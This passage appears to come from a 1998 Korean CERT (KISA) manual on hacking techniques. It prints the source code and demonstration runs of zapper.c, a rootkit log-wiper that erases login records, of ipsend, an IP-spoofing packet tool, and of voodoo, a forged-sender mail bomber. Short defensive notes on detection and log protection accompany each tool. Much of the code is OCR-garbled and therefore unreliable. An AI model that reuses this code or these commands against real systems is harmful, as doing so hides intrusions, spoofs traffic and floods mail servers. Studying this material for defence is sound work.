- 시스템이 피해를 당했을 경우, 공격자에 관한 정보를 얻을 수 있는 가장 손쉬운 장소는

시스템의 로그파일들이다. 그러나 루트 권한을 획득한 공격자는 쉽게 시스템 로그파일을 지

우거나 내용을 변경시킬 수 있으므로 다양한 로그 보호 대책이 요구된다.

취약점 확인 방법

해킹수법 분석

해킹수법 이해

- zapper라는 프로그램은 루트킷트(rootkit)의 일부로서, utmp, wtmp, lastlog 등의 로그

파일에서 현재 사용자의 최후 기록을 삭제한다.

해킹 소스 프로그램

zapper.c

#include <sys/types.h>

#include <stdio.h>

#include <unistd.h>

#include <sys/file.h>

#include <fcntl.h>

#include <utmp.h>

#include <pwd.h>

Page 415: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

#include <lastlog.h>

#define WTMP_NAME "/usr/adm/wtmp"

#define UTMP_NAME "/etc/utmp"

#define LASTLOG_NAME "/usr/adm/lastlog"

int f;

void kill_utmp(who)

char *who;

{

struct utmp utmp_ent;

if((f=open(UTMP_NAME,0_RDWR))>=0) {

while(read (f, &utmp_ent, sizeof (utmp_ent))>0)

if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {

bzero((char*)&utmp_ent,sizeof(utmp_ent ));

|seek (f, -(sizeof (utmp_ent)), SEEK_CUR);

write (f, &utmp_ent, sizeof (utmp_ent));

}

close(f);

}

}

void kill_wtmp(who)

char *who;

{

struct utmp utmp_ent;

long pos;

pos=1L;

if ((f=open(WTMP_NAME,0_RDWR))>=0) {

while(pos !=-1L) {

|seek(f, -(long)( (sizeof(struct utmp))*pos),L_XTND);

if (read (f, &utmp_ent, sizeof (struct utmp))<0) {

pos=-1L;

} else {

if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {

bzero((char*)&utmp_ent,sizeof(struct utmp));

|seek(f, -( (sizeof(struct utmp))*pos),L_XTND);

Page 416: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

write (f, &utmp_ent, sizeof (utmp_ent));

pos=-1L;

} else pos += 1L;

}

}

close(f);

}

}

void kill_lastlog(who)

char *who:

{

struct passwd *pwd;

struct lastlog new||;

if ((pwd=getpwnam(who))!=NULL) {

if((f=open(LASTLOG_NAME, 0_RDWR)) >=0) {

|seek(f, (long)pwd->pw_uid*sizeof (struct lastlog), 0);

bzero((char *)&new||,sizeof(new||));

write(f, (char *)&new||, sizeof(new||));

close(f);

}

} else printf("%s: ?₩n", who);

}

main(argc, argv)

int argc;

gv[];

argc==2 {

kill_lastlog(argv[1]);

kill_wtmp(argv[1]);

kill_utmp(argv[1]);

printf("Zap2!₩n");

se

tf("Error.₩n");

Page 417: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

결과

up 1day, 20:34, 3 users, load average: 0.06, 0.14, 0.00

tty login@ idle JCPU PCPU what

console Wed 4pm 2days 10:12 3:34 olwm -3

ttyp0 Wed 4pm 2days -bin/csh

ttyp1 Wed 4pm 15:45 2:22 1:04 perl -S merlin

ttyp2 7:12pm 1 4:49 28 -bin/csh

ttyp3 10:49pm 5 11 w

ttyp4 8:52pm 13 8:23 9 -bin/csh

ttyp5 11:08am 6 -csh

console Dec 4 16:20

ttyp0 Dec 4 16:34

ttyp1 Dec 4 16:35

ttyp2 Dec 5 19:12

ttyp3 Dec 5 22:49 (203.227.32.100)

ttyp4 Dec 5 20:52

ttpy5 Dec 6 11:08 (203.227.32.100)

ttyp5 203.227.32.100 Fri Dec 6 11:08 still logged in

ttyp5 203.227.32.100 Fri Dec 6 11:02 - 11:02 (00:00)

ttyp5 localhost Fri Dec 6 11:01 - 11:02 (00:00)

ttyp3 203.227.32.100 Thu Dec 5 22:49 still logged in

console Wed Dec 4 16:20 still logged in

console Wed Dec 4 14:41 - 16:18 (01:37)

~ Wed Dec 4 14:40

~ Wed Dec 4 14:40

console Wed Dec 4 14:38 - down (00:02)

ttyp0 203.227.32.100 Tue Dec 3 20:34 - 14:37 (18:03)

~ Tue Dec 3 20:23

~ Tue Dec 3 20:23

~ Tue Dec 3 17:36

ttyp1 203.227.32.100 Mon Dec 2 11:10 - 17:14 (06:04)

ttyp1 203.227.32.100 Mon Dec 2 10:38 - 11:09 (00:30)

ttyp1 203.227.32.100 Mon Dec 2 10:33 - 10:38 (00:05)

ttyp0 203.227.32.100 Mon Dec 2 09:17 - down (1+08:19)

ftp 203.227.32.10 Sun Dec 1 22:03 - 22:09 (00:05)

ttyp0 203.227.32.10 Sun Dec 1 21:49 - 22:03 (00:13)

Page 418: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

console Fri Nov 29 09:48 - 17:35 (4+07:47)

~ Fri Nov 29 09:47

~ Fri Nov 29 09:47

~ Fri Nov 29 09:12

root console Fri Nov 29 09:11 - 09:12 (00:01)

reboot ~ Thu Nov 28 20:31

Shutdown ~ Thu Nov 28 20:31

wtmp begins Thu Nov 28 20:31

-s# ./z2 kadosu

Zap2!

-s#

-s# w

11:24am up 1 day, 20:44, 2 users, load average: 0.00, 0.00, 0.00

User tty login@ idle JCPU PCPU what

root console Wed 4pm 2days 10:12 3:34 olwn -3

root ttyp0 Wed 4pm 2days -bin/csh

root ttyp1 Wed 4pm 15:55 2:22 1:04 perl -S merlin

root ttyp2 7:12pm 11 4:49 28 -bin/csh

root ttyp3 10:49pm 13 w

root ttyp4 8:52pm 23 8:23 9 -bin/csh

-s#

-s# who

root console Dec 4 16:20

root ttyp0 Dec 4 16:34

root ttyp1 Dec 4 16:35

root ttyp2 Dec 4 19:12

root ttyp3 Dec 5 22:49 (203.227.32.100)

root ttyp4 Dec 5 20:52

-s#

kadosu ttyp5 203.227.32.100 Fri Dec 6 11:02 - 11:02 (00:00)

kadosu ttyp4 localhost Fri Dec 6 11:01 - 11:02 (00:00)

root ttyp3 203.227.32.100 Thu Dec 5 22:49 still logged in

root console Wed Dec 4 16:20 still logged in

root console Wed Dec 4 14:41 - 16:18 (01:37)

reboot ~ Wed Dec 4 14:40

shutdown ~ Wed Dec 4: 14:40

root console Wed Dec 4 14:38 - down (00:02)

root ttyp0 203.227.32.100 Thu Dec 3 20:34 - 14:37 (18:03)

reboot ~ Thu Dec 3 20:23

Page 419: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

shutdown ~ Thu Dec 3 20:23

shutdown ~ Thu Dec 3 17:36

root ttyp1 203.227.32.100 Mon Dec 2 11:10 - 17:14 (06:04)

root ttyp1 203.227.32.100 Mon Dec 2 10:38 - 11:09 (00:30)

root ttyp1 203.227.32.100 Mon Dec 2 10:33 - 10:38 (00:05)

root ttyp0 203.227.32.100 Mon Dec 2 09:17 - down (1+08:19)

root ftp 203.227.32.10 Sun Dec 1 22:03 - 22:09 (00:05)

root ttyp0 203.227.32.10 Sun Dec 1 21:49 - 22:03 (00:13)

root console Fri Nov 29 09:48 - 17:35 (4+07:47)

reboot ~ Fri Nov 29 09:47

shutdown ~ Fri Nov 29 09:47

shutdown ~ Fri Nov 29 09:12

root console Fri Nov 29 09:11 - 09:12 (00:01)

reboot ~ Thu Nov 28 20:31

shutdown ~ Thu Nov 28 20:31

wtmp begins Thu Nov 28 20:31

Page 420: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

해킹흔적 확인방법

- 루트킷트(rootkit) 검사도구를 이용한다.

ftp://ftp.fu-berlin.de/unix/security/chkexploit/chkrootkit-0.8.tar.gz

- 파일시스템 무결성 검사도구(tripwire, md5 등)를 사용하여 파일변조여부를 점검한다.

대응방법

- syslog를 이용하여 로그파일을 네트워크상의 다른 호스트(로그서버)에 보관시킨다.

- 프린터로 로그를 출력시키거나 직렬통신포트(serial line)을 이용하여 로그를 다른 장치

로 이송한다.

- CD-ROM 등과 같이 한번만 기록이 가능하고 여러번 읽을 수 있는(WORM) 장치에 로그

를 기록하게 한다.

- 로그를 삭제 못하게 하는 보안도구를 설치한다.

Page 421: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

jpsend-*-해킹도구

ipsend-*-hack_tool

Page 422: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

ipsend-*-hack_tool

jpsend-*-해킹도구

문서번호

KH98-041

문서제목

ipsend-*-해킹도구(ipsend-*-hack_tool)

관련 응용프로그램

ipsend.c

관련 운영체제

모든 운영체제

취약점 분석

취약점 이해

- TCP/IP 프로토콜을 사용하는 서비스는 기본적으로 패킷내의 IP주소, 포트번호, 순차번

호 등을 이용해 서로를 인증하고 있다. 그러나 이같은 정보들은 쉽게 변경시킬 수 있다.

취약점 확인 방법

해킹수법 분석

해킹수법 이해

- ipsend 프로그램은 TCP, UDP, ICMP 패킷을 보낼 수 있는 프로그램으로서, 패킷의 소

스주소를 속일 수 있고 MTU의 크기도 변경시켜 패킷을 보낼 수 있다.

- 이와 관련하여 iptest 프로그램은 IP header, IP options, ICMP, UDP, TCP,

overlapping fragments, random packet을 확인할 수 있는 테스트용 프로그램이다.

해킹 소스 프로그램

- 첨부

해킹시험 결과

# ipsend

Usage: ipsend [options] dest [flags]

options;

-d device Send out on this device

-f fragflags can set IP_MF or IP_DF

Page 423: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

-g gateway IP gateway to use if non-local dest.

-l code, type[,gw[dst[,src]]] Set ICMP protocol

-m mtu fake MTU to use when sending out

-P protocol Set protocol by name

-s src source address for IP packet

-T Set TCP protocol

-t port destination port

-U Set UDP protocol

#

# ipsend -s 1.1.1.1 203.227.321.15 S

Device: le0

Source: 1.1.1.1

Dest: 203.227.32.15

Gateway: 203.227.32.15

mtu: 1500

1.1.1.1->target IP D=203.227.32.15 S=1.1.1.1 LEN=20, ID=0

iptest

Usage: iptest [options] dest

options:

-d device Send out on this device

-g gateway IP gateway to use if non-local dest.

-m mtu fake MTU to use when sending out

-p pointtest

-s src source address for IP packet

-1 Perform test 1 (IP header)

-2 Perform test 2 (IP options)

-3 Perform test 3 (ICMP)

-4 Perform test 4 (UDP)

-5 Perform test 5 (TCP)

-6 Perform test 6 (overlapping fragments)

-7 Perform test 7 (random packets)

# iptest -s 1.1.1.1 -1 203.227.32.15

Device: le0

Source: 1.1.1.1

Page 424: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

Dest: 203.227.32.15

Gateway: 203.227.32.15

mtu: 1500

1.1. sending packets with ip_hl < ip_len

7

1.2. sendign packets with ip_hl > ip_len

12

1.3. ip_v < 4

3

1.4. ip_v > 4

15

1.5.0 ip_len < packet size (size++, long packets)

63

1.5.1 ip_len < packet size (ip_len-, short packets)

10

1.6.0 ip_len > packet size (increase ip_len)

63

1.6.1 ip_len > packet size (size--, short packets)

10

1.7.0 Zero length fragments (ip_off = 0x2000)

1.7.1 Zero length fragments (ip_off = 0x3000)

1.7.2 Zero length fragments (ip_off = 0xa000)

1.7.3 Zero length fragments (ip_off = 0x0100)

1.8. 63k packet + 1k fragment at offset 0x1ffe

65792

1.9. ip_off & 0x8000 == 0x8000

1.10.0 ip_ttl = 225

1.10.1 ip_ttl = 128

1.10.2 ip_ttl = 0

#

# iptest -s 1.1.1.1 -2 203.227.32.15

Device: le0

Source: 1.1.1.1

Dest: 203.227.32.15

Gateway: 203.227.32.15

mtu: 1500

Page 425: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

2.1 option length > packet length

2.2.1 option length = 0, RR

2.2.2 option length = 0, TS

2.2.3 option length = 0, SECURITY

2.2.4 option length = 0, LSRR

2.2.5 option length = 0, SATID

2.2.6 option length = 0, SSRR

#

flat# iptest -s 1.1.1.1 -3 203.227.32.15

Device: le0

Source: 1.1.1.1

Dest: 203.227.32.15

Gateway: 203.227.32.15

mtu: 1500

3.1.32 ICMP type 255 code 0 (all 0's)

3.5.35 ICMP type 5 code 255 (all 0's)

3.6.5 ICMP type 12 code 255 (all 0's)

3.5.27 ICMP type 16 code 127 (all 0's)

flat#

flat# iptest -s 1.1.1.1 -4 203.227.32.15

Device: le0

Source: 1.1.1.1

Dest: 203.227.32.15

Gateway: 203.227.32.15

mtu: 1500

4.1 UDP uh_ulen > packet size - short packets

13

4.2 UDP un_ulen < packet size - short packets

13

4.3.1 UDP sport = 0

0

4.3.2 UDP sport = 1

1

Page 426: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

4.3.3 UDP sport = 32767

32767

4.3.4 UDP sport = 32768

32768

4.3.5 UDP sport = 65535

65535

4.4.1 UDP dport = 0

0

4.4.2 UDP dport = 1

1

4.4.3 UDP dport = 32767

32767

4.4.4 UDP dport = 32768

32768

4.4.5 UDP dport = 65535

65535

4.5 UDP 20 <= MTU <= 32

iptest -s 1.1.1.1 -5 203.227.32.15

Device: le0

Source: 1.1.1.1

Dest: 203.227.32.15

Gateway: 203.227.32.15

mtu: 1500

5.1 Test TCP flag combinations

63

5.2.1 TCP seq = 0

5.2.2 TCP seq = 1

5.2.3 TCP seq = 0x7fffffff

5.2.4 TCP seq = 0x80000000

5.2.5 TCP seq = 0xc0000000

5.2.6 TCP seq = 0xffffffff

5.3.1 TCP ack = 0

5.3.2 TCP ack = 1

5.3.3 TCP ack = 0x7fffffff

5.3.4 TCP ack = 0x80000000

5.3.5 TCP ack = 0xc0000000

5.3.6 TCP ack = 0xfffffff

Page 427: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

5.4.1 TCP win = 0

5.4.2 TCP win = 32768

5.4.3 TCP win = 65535

5.7.1 TCP sport = 0

5.7.2 TCP sport = 1

5.7.3 TCP sport = 32767

5.7.4 TCP sport = 32768

5.7.5 TCP sport = 65535

5.8.1 TCP dport = 0

5.8.2 TCP dport = 1

5.8.3 TCP dport = 32767

5.8.4 TCP dport = 32768

5.8.5 TCP dport = 65535

flat#

flat# iptest -s 1.1.1.1 -7 203.227.32.15

Device: le0

Source: 1.1.1.1

Dest: 203.227.32.15

Gateway: 203.227.32.15

mtu: 1500

7. send 1024 random IP packets.

511

511

flat#

해킹흔적 확인방법

- 모니터링 도구를 사용하여 네트워크를 지속적으로 감시한다. 그러나 소스주소를 속여서

올 경우에는 탐지가 힘들다.

대응방법

- 라우터 또는 방화벽에서의 패킷 필터링을 통해

・ 내부에서 외부주소를 소스로 가지고 나가는 모든 패킷을 막는다.・ 외부에서 내부주소를 소스로 가지고 들어오는 모든 패킷을 막는다.- tcpwapper나 방화벽을 이용해 반드시 필요한 호스트로만 접근을 가능하게 한다.

Page 428: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

Exploit Source

관련 소스

/*

* ipsend.c (C) 1995 Darren Reed

*

* This was written to test what size TCP fragments would get through

* various TCP/IP packet filters. as used in IP firewalls. In certain

* conditions, enough of the TCP header is missing for unpredictable

* results unless the filter is aware that this can happen.

*

* The author provides this program as-is, with no gaurantee for its

* suitablility for any specific purpose. The author takes no

responsbility

* for the misuse/abuse of this program and provides it for the sole

purpose

* of testing packet filter policies. This file maybe distributed

freely

* providing it is not modified and that this notice remains in tact.

*

* This was written and tested (successfully) on SunOS 4.1.x.

*/

#ifndef lint

static char sccsid[] = "@(#)ipsend.c 1.5 12/10/95 (C)1995

Darren Reed";

#endif

#include <stdio.h>

#include <netdb.h>

#include <string.h>

#include <sys/types.h>

#include <sys/time.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <netinet/in_systm.h>

#include <netinet/ip.h>

#include <netinet/tcp.h>

#include <netinet/udp.h>

#include <netinet/ip_icmp.h>

Page 429: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

#ifndef linux

#include <netinet/ip_var.h>

#include <netinet/tcpip.h>

#endif

#include "ip_compat.h"

#ifdef linux

#include <linux/sockios.h>

#include "tcpip.h"

#endif

#include "ipt.h"

extern char *optarg;

extern int optind;

char options[68];

#ifdef linux

char default_device[] = "eth0"

#else

#ifdef Sun

char default_device[] = "le0"

#else

#ifdef ultrix

char default_device[] = "ln0"

#else

#ifdef _bsdi_

char default_device[] = "ef0"

#else

char default_device[] = "lan0"

# endif

# endif

# endif

#endif

void usage(prog)

char *prog;

{

fprintf(stderr, "Usage: %s [options] dest [flags]₩n₩

₩toptions:₩n₩

₩t₩t-d device₩tSend ort on this device₩n₩

₩t₩t-f fragflags₩tcan set IP_MF or IP_DF₩n₩

Page 430: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

₩t₩t-g gateway₩tIP gateway to use if non-local dest.₩n₩

₩t₩t-l code,type[,gw[,dst[,src]]]₩tSet ICMP protocol₩n₩

₩t₩t-m mtu₩t₩tfake MTU to use when sending out₩n₩

₩t₩t-p protocol₩tSet protocol by name₩n₩

₩t₩t-s src₩t₩tsource address for IP packe₩n₩

₩t₩t-T₩t₩tSet TCP protocol₩n₩

₩t₩t-t port₩t₩tdestination port₩n₩

₩t₩t-U₩t₩tSet UDP protocol₩n₩

", prog);

exit(1);

}

void do_icmp(ip, args)

ip_t *ip

char *args;

{

struct icmp *ic;

char *s;

ip->ip_p = IPPROTO_ICMP;

ip->ip_p = len += sizeof(*ic);

ic = (struct icmp *)(ip + 1);

bzero((char *)ic, sizeof(*ic));

if (!(s = strchr(args, ',')))

{

fprintf(stderr, "ICMP args missing: ,₩n");

return;

}

*s++ = '₩0' ;

ic->icmp_type = atoi(args);

ic->icmp_code = atoi(s);

if (ic->icmp_type == ICMP_REDIRECT && strchr(s, ','))

{

char *t;

t = strtok(s, ",");

t = strtok(NULL, ",")

if (resolve(t, (char *)&ic->icmp_gwaddr) == -1)

{

Page 431: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

fprintf(stderr, "Cant resolve %s₩n", t);

exit(2);

}

if ((t = strtok(NULL, ",")))

{

if (resolve(t, (char *)&ic->icmp_ip.ip_dst) ==

-1)

{

fprintf(stderr, "Cant resolve %s₩n", t);

exit(2);

}

if ((t = strtok(NULL, ",")))

{

if (resolve(t,

(char *)&ic->icmp_ip.ip_src)

== -1)

{

fprintf(stderr, "Cant resolve

%s₩n, t);

exit(2);

}

}

}

}

}

int send_packets(dev, mtu, ip, gwip)

char *dev;

int mtu;

ip_t *ip;

struct in_addr gwip;

{

u_short sport = 0;

int wfd;

if (ip->ip_p == IPPROTO_TCP || ip->ip_p == IPPROTO_UDP)

sport = ((struct tcpiphdr *)ip)->ti_sport;

wfd = intdevice(dev, sport, 5);

Page 432: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

return send_packet(wfd, mtu, ip, gwip);

}

main(argc, argv)

int argc;

char **argv;

{

struct tcpiphdr *ti;

struct in_addr gwip;

tcphdr_t *tcp;

ip_t *ip;

char *name = argv[0], host[64], *gateway = NULL, *dev =

NULL;

char *src = NULL, *dst, d, *s;

int mtu = 1500, olen = 0;

/*

* 65535 is maximum packet size...you never know...

*/

ip = (ip_t *)calloc(1, 65536);

ti = (struct tcpiphdr *)ip;

tcp = (tcphdr_t *)&ti->ti_sport;

ip->ip_len = sizeof(*ip);

ip->ip_hl = sizeof(*ip)>>2;

while ((c = getopt(argc, argv, "IP:TUd:f:g:m:o:s:t:")) !=-1

switch (c)

{

case 'l' :

if (ip->ip_p)

{

fprintf(stderr, “Protocol already set:

%d₩n",

ip->ip_p);

break;

}

do_icmp(ip, optarg);

break;

case 'P' :

{

Page 433: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

struct protoent *p;

if(ip->ip_p)

{

fprintf(stderr, “Protocol already set:

%d₩n",

ip->ip_p);

break;

}

if((p = getprotobyname(optarg)))

ip->ip_p = p->p_proto;

else

fprintf(stderr, “Unknown protocol:

%d₩n",

optarg);

break;

}

case 'T'

if(ip->ip_p)

{

fprintf(stderr, “Protocol already set:

%d₩n",

ip->ip_p);

break;

}

ip->ip_p = IPPROTO_TCP;

ip->ip_len +=sizeof(tcphdr_t);

break;

case 'U'

if(ip->ip_p)

{

fprintf(stderr, “Protocol already set:

%d₩n",

ip->ip_p);

break;

}

ip->ip_p = IPPROTO_UDP;

ip->ip_len +=sizeof(udphdr_t);

break;

Page 434: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

case 'd' :

dev = optarg;

break;

daxe 'f' :

ip->ip_off = strtol(optarg, NULL, 0);

break;

case 'g' :

gateway = optarg;

break;

case 'm' :

mtu = atoi(optarg);

if (mtu < 28)

{

fprintf(stderr, "mtu must be > 28₩n");

exit(1);

}

break;

case 'o' :

olen = optname(optarg, options);

break;

case 's' :

src = optarg;

break;

cast 't' :

if (ip->ip_p == IPPROTO_TCP || ip->ip_p ==

IPPROTO_UDP)

tcp->th_dport = htons(atoi(optarg));

break;

case 'w' :

if (ip->ip_p == IPPROTO_TCP)

tcp->th_th = atoi(optarg);

else

fprintf(stderr, "set protocol to TCP

first₩n")

break;

default :

fprintf(stderr, "Unknown option ₩"%c₩"₩n", c);

usage(name);

}

Page 435: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

if (argc - optind < 2)

usage(name);

dst = argv[optind++];

if (!src)

{

gethostname(host, sizeof(host));

src = host;

}

if(resolve(src, (char *)&ip->ip_src) == -1)

{

fprintf(stderr, "Cant resolve %s₩n", src);

exit(2);

}

if(resolve(dst, (char *)&ip->ip_dst) == -1)

{

fprintf(stderr, "Cant resolve %s₩n", dst);

exit(2);

}

if (!gateway)

gwip = ip->ip_dst;

else if (resolve(gateway, (char *)&gwip) == -1)

{

fprintf(stderr, "Cant resolve %s₩n", gateway);

exit(2);

}

if (ip->ip_p == IPPROTO_TCP)

for (s = argv[optind]; c = *s; s++)

switch(c)

{

case 'S' : case 's' :

tcp->th_flags |= TH_SYN;

break;

case 'A' : case 'a' :

tcp->th_flags |= TH_ACK;

break;

Page 436: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

case 'F' : case 'f' :

tcp->th_flags |= TH_FIN;

break;

case 'R' : case 'r' :

tcp->th_flags |= TH_RST;

break;

case 'P' : case 'p' :

tcp->th_flags |= TH_PUSH

break;

case 'U' : case 'u' :

tcp->th_flags |= TH_URG;

break;

}

if (!dev)

Page 437: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

dev = default_device;

printf("Device: %s₩n", dev);

printf("Source: %s₩n", inet_ntoa(ip->ip_src));

printf("Dest: %s₩n", inet_ntoa(ip->ip_dst));

printf("Gateway: %s₩n", inet_ntoa(gwip));

if (ip->ip_p == IPPROTO_TCP && tcp->th_flags)

printf("Flags: %#x₩n, tcp->th_flags");

printf("mtu: %d₩n", mtu);

if (olen)

{

printf("Options: %d₩n", olen);

ti = (struct tcpiphdr *)malloc(olen + ip->ip_len);

bcopy((char *)ip, (char *)ti, sizeof(*ip));

ip = (ip_t *)ti;

ip->ip_hl += (olen >> 2);

bcopy(options, (char *)(ip + 1) + olen);

bcopy((char *)tcp, (char *)(ip + 1) + olen,

(*tcp));

tcp = (tcphdr_t *)((char *)(ip + 1) + olen);

ip->ip_len += olen;

}

DOSOCKET

if (tcp->th_dport)

return do_socket(dev, mtu, ti, gwip);

return send_packets(dev, mtu, ti, gwip);

Page 438: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

voodoo-*-해킹도구

voodoo-*-hack_tool

Page 439: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

voodoo-*-hack_tool

voodoo-*-해킹도구

문서번호

KH98-042

문서제목

voodoo-*-해킹도구(voodoo-*-hack_tool)

관련 응용프로그램

sendmail

관련 운영체제

모든 운영체제

취약점 분석

취약점 이해

- 전자우편 서비스를 제공하는 Sendmail은 수신된 전자우편들을 사용자들이 수신하기전까

지는 시스템 디스크에 일단 보관한다. 할당된 시스크가 수신된 전자우편으로 가득차게되면

더 이상의 서비스를 제공할 수 없게되며, 전자우편 서버의 파일시스템 구성이 적절히 설정

되지 않는 경우, 시스템의 정상적인 동작을 방해할 수도 있다.

취약점 확인 방법

해킹수법 분석

해킹수법 이해

- voodoo는 전자우편 폭탄 전송 프로그램으로서, 사용자가 지정한 상대방에게 엄청난 양의

전자우편을 반복하여 보낼 수 있다.

- 이때 발신자의 전자우편 주소를 속여 보낼 수 있다.

- 유닉스 및 윈도우 시스템용으로 유사한 공격도구들이 많이 공개되어 있다.

해킹소스 프로그램

- 첨부

해킹시험 결과

# voodoo

Page 440: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

VOODOO UNIX v1.01b by Vassago.

Commands:

mailbomb <bomb server> <from addr> <to addr> [<# of times>]

[<subject>]

fakemail <bomb server> <from addr> <to addr> <textfile>[<subject>]

flash <user@host>[<# of times>]

# ./voodoo mailbomb www.certcc.or.kr evil@localhost [email protected]

10 bomb!!

./voodoo mailbomb www.certcc.or.kr evil@localhost [email protected] 10

bomb./voodoo

Page 441: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

VOODOO NUIX v1.01b by Vassago.

[VOODOO] Generating random crap...

[VOODOO] Connecting to SMTP Server: www.certcc.or.kr.

[VOODOO] Sending mail to: [email protected]

[VOODOO] Sleeping to make sure data is sent.

[VOODOO] Mailing #1 has been sent.

[VOODOO] Connecting to SMTP Server: www.certcc.or.kr.

[VOODOO] Sending mail to: [email protected]

[VOODOO] Sleeping to make sure data is sent.

[VOODOO] Mailing #2 has been sent.

[VOODOO] Connecting to SMTP Server: www.certcc.or.kr.

[VOODOO] Sending mail to: [email protected]

[VOODOO] Sleeping to make sure data is sent.

[VOODOO] Mailing #3 has been sent.

[VOODOO] Connecting to SMTP Server: www.certcc.or.kr.

[VOODOO] Sending mail to: [email protected]

[VOODOO] Sleeping to make sure data is sent.

[VOODOO] Mailing #4 has been sent.

[VOODOO] Connecting to SMTP Server: www.certcc.or.kr.

[VOODOO] Sending mail to: [email protected]

